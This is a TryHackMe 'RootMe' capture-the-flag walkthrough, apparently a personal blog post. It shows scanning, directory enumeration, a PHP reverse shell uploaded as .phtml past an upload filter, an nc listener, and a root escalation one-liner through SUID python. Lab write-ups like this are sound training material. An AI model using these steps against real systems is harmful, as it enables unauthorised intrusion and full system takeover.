TryHackMe - RootMe
Published: 2023-09-16 21:42:56

# Recon
To better understand the machine we start with a simple recon using the following code:
```bash
sudo nmap -sV -A -T4 10.10.177.103 -oN nmap_results.txt
# Obtaining the following output
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4ab9160884c25448ba5cfd3f225f2214 (RSA)
|   256 a9a686e8ec96c3f003cd16d54973d082 (ECDSA)
|_  256 22f6b5a654d9787c26035a95f3f9dfcd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: HackIT - Home
|_http-server-header: Apache/2.4.29 (Ubuntu)
```

These results show we have:
- SSH server: we might be able to use this if we find a private key or bruteforce password if we find a list of users;
- HTTP Server: should explore the website to find potential file uploads or logins we can exploit to create a user list.

## Directory Search
Since this process can take a while we should start before exploring the website. We do as follows:
```bash
gobuster dir -t 64 -u http://10.10.177.103:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt
```

## Access Website
We consult the homepage the robots page and both fail to provide any additional information

### Homepage
![Acessing Homepage](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lamuvs4349rs5cu9plpx.png)

### Robots
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/77jk6yhq7oj05ah0xnn4.png)

## Gobuster Results
After a while our command ends with the following results
```bash
/uploads              (Status: 301) [Size: 316] [--> http://10.10.177.103/uploads/]
/css                  (Status: 301) [Size: 312] [--> http://10.10.177.103/css/]
/js                   (Status: 301) [Size: 311] [--> http://10.10.177.103/js/]
/panel                (Status: 301) [Size: 314] [--> http://10.10.177.103/panel/]
/server-status        (Status: 403) [Size: 278]
```

# Getting Access
With the recon finalized, we understand there is an option to obtain reverse shell using a php script.

## Panel
This page allows us to upload a file so we should prepare a [PHP reverse shell](https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php) as it is a Apache server, which commonly uses PHP. The upload files fails as it does not accept .php files
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xn4rwyahs6lkdn6vfm4w.png)

We can now try several extensions until one works (E.g. php3, php4, phtml, etc.) and, we are able to succeed using phtml.

## Obtaining shell
We can now launch our listener `nc -lvnp 8080` and obtain shell using the file we uploaded through 10.10.177.103/uploads.

## Find Flag
To find flag we can use `find / -name "user.txt" 2>/dev/null` and use cat to get content

# Privilege Escalation

## SUID
Our first instinct was to find these types of files using:
```bash
find / -type f -perm -04000 -ls 2>/dev/null
   787696     44 -rwsr-xr--   1 root     messagebus    42992 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   787234    112 -rwsr-xr-x   1 root     root         113528 Jul 10  2020 /usr/lib/snapd/snap-confine
   918336    100 -rwsr-xr-x   1 root     root         100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
   787659     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   787841    428 -rwsr-xr-x   1 root     root         436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
   787845     16 -rwsr-xr-x   1 root     root          14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   787467     20 -rwsr-xr-x   1 root     root          18448 Jun 28  2019 /usr/bin/traceroute6.iputils
   787290     40 -rwsr-xr-x   1 root     root          37136 Mar 22  2019 /usr/bin/newuidmap
   787288     40 -rwsr-xr-x   1 root     root          37136 Mar 22  2019 /usr/bin/newgidmap
   787086     44 -rwsr-xr-x   1 root     root          44528 Mar 22  2019 /usr/bin/chsh
   266770   3580 -rwsr-sr-x   1 root     root        3665768 Aug  4  2020 /usr/bin/python
...
...
```
[We see that python can be exploited](https://gtfobins.github.io/gtfobins/python/#suid) to escalate our privileges
using `/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'`

## Obtaining final flag
To find flag we can use `find / -name "root.txt" 2>/dev/null` and use cat to get content.

Kanelao